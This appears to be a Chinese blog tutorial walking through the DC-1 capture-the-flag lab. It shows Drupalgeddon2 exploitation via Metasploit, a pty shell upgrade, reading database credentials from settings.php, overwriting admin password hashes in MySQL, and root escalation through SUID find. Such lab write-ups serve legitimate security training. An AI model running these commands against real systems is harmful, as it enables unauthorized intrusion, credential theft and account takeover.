靶场练习 手把手教你通关DC系列 DC1

DC1靶场通关教程



前言

在这里插入图片描述

本次使用的kali机的IP地址为192.168.243.131
DC1的地址为192.168.243.134


一、信息收集

1.主机存活

在这里插入图片描述

arp-scan -l 此命令是探测主机存活 sudo命令是令kali用户短暂拥有root用户权限,需要输入kali的密码
其中192.168.243.128是kali的IP地址,192.168.243.134是靶场的IP地址

2.端口收集

在这里插入图片描述

nmap -T4 -v 192.168.243.134该命令探测靶场开发的端口信息,可以看到其中开发端口有22、80、111

3.网页信息收集

在这里插入图片描述

火狐浏览器有Wappalyzer插件可以看框架、中间件、语言等功能

4.目录收集

这里使用两种查询方式

4.1 Nikto

在这里插入图片描述

nikto -h http://192.168.243.134

4.2 Dirb

在这里插入图片描述

dirb http://192.168.243.134

目录收集没有收集到可用信息,可以跳过这一步

信息收集总结

靶场IP地址为: 192.168.243.134
开放端口: 22/ssh 80/http 111/rpcbind
框架: cms Drupal 7
中间件: Apache 2.2.22
语言: php 5.4.45
操作系统: Debian

二、漏洞发现与利用

思路 通过信息收集到的内容去搜索网络已知漏洞

1. 发现

kali加载msf攻击载荷

在这里插入图片描述

search drupal搜索Drupal可以利用的漏洞

在这里插入图片描述

2. 利用

这里使用exploit/unix/webapp/drupal_drupalgeddon2

在这里插入图片描述

show options 查看需要配置的文件

在这里插入图片描述

Requiredyes为必须配置项,RHOSTS 为靶场的IP地址
set rhosts 192.168.243.134 添加目标地址

在这里插入图片描述

使用run运行,然后shell

在这里插入图片描述

python -c "import pty;pty.spawn('/bin/bash')" 为交互语句,方便使用

在这里插入图片描述

三、Flag

Flag1

查看当前文件夹的所有内容 ls -la

在这里插入图片描述

可以看到有一个flag1.txt文件
cat flag1.txt打开flag1.txt文件

在这里插入图片描述

Every good CMS needs a config file - and so do you. //每个好的CMS都需要一个配置文件——您也一样。

Flag2

flag1提示我们去找配置文件
find / -name settings.php

在这里插入图片描述

查看这个文件
cat /var/www/sites/default/settings.php

在这里插入图片描述

/**
 *
 * flag2
 * Brute force and dictionary attacks aren't the //暴力破解和字典攻击不是
 * only ways to gain access (and you WILL need access). //只有获得访问权限的方法(你将需要访问权限)。
 * What can you do with these credentials? //你能用这些证书做什么?
 *
 */

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

Flag3

flag2给出了数据库的账户和密码,我们可以直接登录查看
mysql -udbuser -pR0ck3t

在这里插入图片描述

查询数据库
show databases;

在这里插入图片描述

直接使用第二个表
use drupalbd;

在这里插入图片描述

查询库中的表
show tables;

在这里插入图片描述

在这里插入图片描述

我们查看users表中的内容

在这里插入图片描述

可以看到表中的内容是adminFred账户密码
admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg
这个加密方式为hash(哈希),解密难度过大,我们可以通过password-hash.sh文件生成一个新密码
使用find命令查找文件

在这里插入图片描述

使用cat命令查看源码
cat /var/www/scripts/password-hash.sh

<?php

/**
 * Drupal hash script - to generate a hash from a plaintext password
 *
 * Check for your PHP interpreter - on Windows you'll probably have to
 * replace line 1 with
 *   #!c:/program files/php/php.exe
 *
 * @param password1 [password2 [password3 ...]]
 *  Plain-text passwords in quotes (or with spaces backslash escaped).
 */

if (version_compare(PHP_VERSION, "5.2.0", "<")) {
  $version  = PHP_VERSION;
  echo <<<EOF

ERROR: This script requires at least PHP version 5.2.0. You invoked it with
       PHP version {$version}.
\n
EOF;
  exit;
}

$script = basename(array_shift($_SERVER['argv']));

if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {
  echo <<<EOF

Generate Drupal password hashes from the shell.

Usage:        {$script} [OPTIONS] "<plan-text password>"
Example:      {$script} "mynewpassword"

All arguments are long options.

  --help      Print this page.

  --root <path>

              Set the working directory for the script to the specified path.
              To execute this script this has to be the root directory of your
              Drupal installation, e.g. /home/www/foo/drupal (assuming Drupal
              running on Unix). Use surrounding quotation marks on Windows.

  "<password1>" ["<password2>" ["<password3>" ...]]

              One or more plan-text passwords enclosed by double quotes. The
              output hash may be manually entered into the {users}.pass field to
              change a password via SQL to a known value.

To run this script without the --root argument invoke it from the root directory
of your Drupal installation as

  ./scripts/{$script}
\n
EOF;
  exit;
}

$passwords = array();

// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {
  switch ($param) {
    case '--root':
      // Change the working directory.
      $path = array_shift($_SERVER['argv']);
      if (is_dir($path)) {
        chdir($path);
      }
      break;
    default:
      // Add a password to the list to be processed.
      $passwords[] = $param;
      break;
  }
}

define('DRUPAL_ROOT', getcwd());

include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';

foreach ($passwords as $password) {
  print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");

php /var/www/scripts/password-hash.sh 123456
因为这是php文件,所以我们需要使用php

在这里插入图片描述

password: 123456 hash: $S$DPuVBKNPp4WAlPVEAVTPohYHAfrGfwS9Z05iG3InaYIKsrrO95AG
登录数据库,将生成的哈希值写入到数据库的users表中,替换adminFred的密码
update users set pass="$S$DPuVBKNPp4WAlPVEAVTPohYHAfrGfwS9Z05iG3InaYIKsrrO95AG" where name="admin" or name="Fred";

在这里插入图片描述在这里插入图片描述

使用刚刚更改的数据进行登录

在这里插入图片描述
在这里插入图片描述

找到fflag3文件

在这里插入图片描述

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.//特殊的PERMS将帮助查找passwd -但是您需要-执行该命令才能知道如何获得阴影中的内容。

Flag4

根据flag3的提示让我们去看/etc/passwd文件

在这里插入图片描述

可以看到一个flag4,我们去到flag4目录

在这里插入图片描述

查看flag4.txt

在这里插入图片描述

Can you use this same method to find or access the flag in root?//您可以使用相同的方法来查找或访问根中的标志吗?
Probably. But perhaps it's not that easy.  Or maybe it is?//可能。但也许没那么容易。也许是这样

Flag5(提权)

根据flag4的提示,我们尝试去root目录

在这里插入图片描述

发现被拒绝访问了,查找一下当前用户可执行的文件
find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

发现有find,直接用find提权
find / -exec "/bin/bash" -p \;

在这里插入图片描述

现在去root目录

在这里插入图片描述

查看thefinalflag.txt文件
cat thefinalflag.txt

在这里插入图片描述

Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journeyby contacting me via Twitter - @DCAU7
//做得好! !
//希望你喜欢这篇文章,并学到了一些新技能。
//你可以通过推特@DCAU7联系我,让我知道你对这次小旅行的看法

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值